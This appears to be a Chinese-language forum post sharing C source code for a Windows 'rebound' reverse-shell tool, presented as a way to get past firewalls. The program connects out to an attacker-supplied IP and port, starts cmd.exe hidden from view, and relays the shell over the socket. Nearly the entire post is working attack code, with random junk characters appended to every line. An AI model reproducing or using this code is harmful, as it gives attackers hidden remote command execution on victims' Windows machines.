这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ',rK\&lL6
_qo\E=E
/* ============================== k;qWiYMV
Rebound port in Windows NT Jz P0D'
By wind,2006/7 *D9H3M[o#
===============================*/ +m/n~-6q
#include #~.RJ%
#include hMV>5Y[s
OEC/'QOae
#pragma comment(lib,"wsock32.lib") <~:2~r
33&\E- Q>
void OutputShell(); "7jE&I
SOCKET sClient; /?Mr2!3N
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZNL+w4
v53|)]V
void main(int argc,char **argv) JZ&_1~Z=
{ Z/|=@gpw
WSADATA stWsaData; GJs~aRiz
int nRet; uv^x
SOCKADDR_IN stSaiClient,stSaiServer; Zs ,6}m\
nb6Y/`G
if(argc != 3) [9#zEURS
{ #VVfHCy
printf("Useage:\n\rRebound DestIP DestPort\n"); x($Djx
return; <iGW~COd
} .0~uM!3y
!]RSG^%s{
WSAStartup(MAKEWORD(2,2),&stWsaData); *;~u 5y2b
gU NWM^n
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y~VI,82*
Vo6g /h?`
stSaiClient.sin_family = AF_INET; ?)(-_N&T
stSaiClient.sin_port = htons(0); 5NH4C
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?,8+1"|$A]
D!.1R!(Z
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \xv(&94U
{ &g1\0t
printf("Bind Socket Failed!\n"); ;[(d=6{hc]
return; bS954d/
} vLyazVj..
@qj]`}Gx'
stSaiServer.sin_family = AF_INET; n;Q8Gg2U
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c %Cbq0+2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 22U`1AD3U
kfT*G
+l]
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ={V@Y-5T
{ VuH ->
printf("Connect Error!"); xIC@$GP
return; SgehOu
} NY.* S6
OutputShell(); w>=N~0@t
} w^$C\bCbh
L/`1K_\l
void OutputShell() f.+1Ubq!5
{ }2Euz.0
char szBuff[1024]; {uoF5|O6K
SECURITY_ATTRIBUTES stSecurityAttributes; D&D6!jz
OSVERSIONINFO stOsversionInfo; |iUC\F=-
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M*kE |q/K
STARTUPINFO stStartupInfo; T,1qR:58
char *szShell; &ah%^Z4um
PROCESS_INFORMATION stProcessInformation; J{Kw@_ypP
unsigned long lBytesRead; ,m5i(WL
wlaPE8Gc
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M(LIF^'U:m
=\5WYC
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J ~3m7
stSecurityAttributes.lpSecurityDescriptor = 0; ,aC}0t
stSecurityAttributes.bInheritHandle = TRUE; orH6R8P]
H@?} !@
AJxN9[Z!N
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RO,TNS~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6&ut r!\7
\\#D!q*
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); iC=>wrqY>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]0ErT9
stStartupInfo.wShowWindow = SW_HIDE; )Ak#1w&q
stStartupInfo.hStdInput = hReadPipe; nH6SA1$kW
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C1=&Vm>g+
[Tp?u8$p`
GetVersionEx(&stOsversionInfo); pF-_yyQ
TZt;-t`
switch(stOsversionInfo.dwPlatformId) ~44u_^a
{ \2 N;VE
case 1:
<KU0K
szShell = "command.com"; Mh-"B([Z
break; `y.4FA4"8
default: B=& [Z2
szShell = "cmd.exe"; z}u`45W+
break; 9U6$-]J
} KYm8|]'g
G&{yM2:E
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -@"3`uv"
9u{[e"
send(sClient,szMsg,77,0); Uq#2~0n>
while(1) I!*P' {lh
{ _.; PLq~0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8$_{R!x
if(lBytesRead) E0+L?(;
{ pxTtV g.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e72Fz#<q
send(sClient,szBuff,lBytesRead,0); *P=3Pl?j
} 6)uBUM;i
else qr%N/7
{ q<q IT
lBytesRead=recv(sClient,szBuff,1024,0); ,FzkGB#
if(lBytesRead<=0) break;
JHa1lj
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >2{Y5__+e
} oqF?9<Vgc,
} yl~;!
T"vf
return; >o1dc*
}